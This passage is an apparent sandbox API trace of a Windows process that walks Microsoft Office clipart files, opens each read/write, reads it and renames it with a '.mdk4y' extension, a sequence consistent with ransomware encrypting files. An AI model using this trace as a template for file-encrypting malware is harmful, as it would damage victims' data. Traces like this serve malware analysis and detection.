Office\\CLIPART\\PUB60COR\\J0107314.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.mdk4y")) returned 1 [0149.553] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.554] AreFileApisANSI () returned 1 [0149.554] GetACP () returned 0x4e4 [0149.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107316.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107316.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.554] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.554] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822478400000) returned 1 [0149.554] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2c18, lpOverlapped=0x0) returned 1 [0149.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822481000000) returned 1 [0149.580] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822481000000) returned 1 [0149.581] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.mdk4y")) returned 1 [0149.581] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.581] AreFileApisANSI () returned 1 [0149.581] GetACP () returned 0x4e4 [0149.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107328.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107328.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.582] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822481300000) returned 1 [0149.583] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1984, lpOverlapped=0x0) returned 1 [0149.584] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822481400000) returned 1 [0149.584] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822481400000) returned 1 [0149.584] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.mdk4y")) returned 1 [0149.585] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.585] AreFileApisANSI () returned 1 [0149.585] GetACP () returned 0x4e4 [0149.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107342.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107342.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.585] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.585] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822481500000) returned 1 [0149.585] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1094, lpOverlapped=0x0) returned 1 [0149.639] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822486900000) returned 1 [0149.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822486900000) returned 1 [0149.640] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.mdk4y")) returned 1 [0149.641] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.641] AreFileApisANSI () returned 1 [0149.641] GetACP () returned 0x4e4 [0149.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107344.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107344.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.641] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.641] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822487100000) returned 1 [0149.641] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x13d4, lpOverlapped=0x0) returned 1 [0149.682] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822491200000) returned 1 [0149.682] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822491200000) returned 1 [0149.682] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.mdk4y")) returned 1 [0149.683] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.683] AreFileApisANSI () returned 1 [0149.683] GetACP () returned 0x4e4 [0149.683] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107350.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107350.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.683] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.684] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822491400000) returned 1 [0149.684] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5c78, lpOverlapped=0x0) returned 1 [0149.699] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822492900000) returned 1 [0149.699] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822492900000) returned 1 [0149.700] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.mdk4y")) returned 1 [0149.700] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.700] AreFileApisANSI () returned 1 [0149.700] GetACP () returned 0x4e4 [0149.700] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107358.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107358.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.700] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.701] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822493100000) returned 1 [0149.701] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f1c, lpOverlapped=0x0) returned 1 [0149.713] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822494300000) returned 1 [0149.713] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822494300000) returned 1 [0149.714] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.mdk4y")) returned 1 [0149.714] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.714] AreFileApisANSI () returned 1 [0149.714] GetACP () returned 0x4e4 [0149.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107364.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107364.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.714] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.715] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822494500000) returned 1 [0149.715] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x40cc, lpOverlapped=0x0) returned 1 [0149.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822495300000) returned 1 [0149.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822495300000) returned 1 [0149.724] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.mdk4y")) returned 1 [0149.724] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.724] AreFileApisANSI () returned 1 [0149.724] GetACP () returned 0x4e4 [0149.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107426.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107426.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.724] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.725] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822495500000) returned 1 [0149.725] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2ce4, lpOverlapped=0x0) returned 1 [0149.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822495600000) returned 1 [0149.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822495600000) returned 1 [0149.726] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.mdk4y")) returned 1 [0149.727] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.727] AreFileApisANSI () returned 1 [0149.727] GetACP () returned 0x4e4 [0149.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107446.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107446.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.727] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822495700000) returned 1 [0149.727] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7680, lpOverlapped=0x0) returned 1 [0149.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822499400000) returned 1 [0149.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822499400000) returned 1 [0149.765] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.mdk4y")) returned 1 [0149.766] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.766] AreFileApisANSI () returned 1 [0149.766] GetACP () returned 0x4e4 [0149.766] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107450.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107450.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.766] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822499700000) returned 1 [0149.767] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1338, lpOverlapped=0x0) returned 1 [0149.826] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822505600000) returned 1 [0149.826] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822505600000) returned 1 [0149.826] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.mdk4y")) returned 1 [0149.827] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.827] AreFileApisANSI () returned 1 [0149.827] GetACP () returned 0x4e4 [0149.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107452.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107452.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.828] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822505800000) returned 1 [0149.828] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x52e0, lpOverlapped=0x0) returned 1 [0149.830] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822506000000) returned 1 [0149.830] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822506000000) returned 1 [0149.830] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.mdk4y")) returned 1 [0149.831] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.831] AreFileApisANSI () returned 1 [0149.831] GetACP () returned 0x4e4 [0149.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107456.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107456.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.831] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.831] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822506100000) returned 1 [0149.831] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe8c, lpOverlapped=0x0) returned 1 [0149.853] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822508300000) returned 1 [0149.853] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822508300000) returned 1 [0149.854] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.mdk4y")) returned 1 [0149.855] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.855] AreFileApisANSI () returned 1 [0149.855] GetACP () returned 0x4e4 [0149.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107458.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107458.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.855] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.855] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822508500000) returned 1 [0149.855] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xdf0, lpOverlapped=0x0) returned 1 [0149.946] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822517600000) returned 1 [0149.946] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822517600000) returned 1 [0149.947] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.mdk4y")) returned 1 [0149.951] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.951] AreFileApisANSI () returned 1 [0149.951] GetACP () returned 0x4e4 [0149.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107468.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107468.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.951] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.951] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822518100000) returned 1 [0149.951] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x258c, lpOverlapped=0x0) returned 1 [0149.984] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822521400000) returned 1 [0149.984] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822521400000) returned 1 [0149.985] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.mdk4y")) returned 1 [0149.985] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.985] AreFileApisANSI () returned 1 [0149.985] GetACP () returned 0x4e4 [0149.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107480.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, 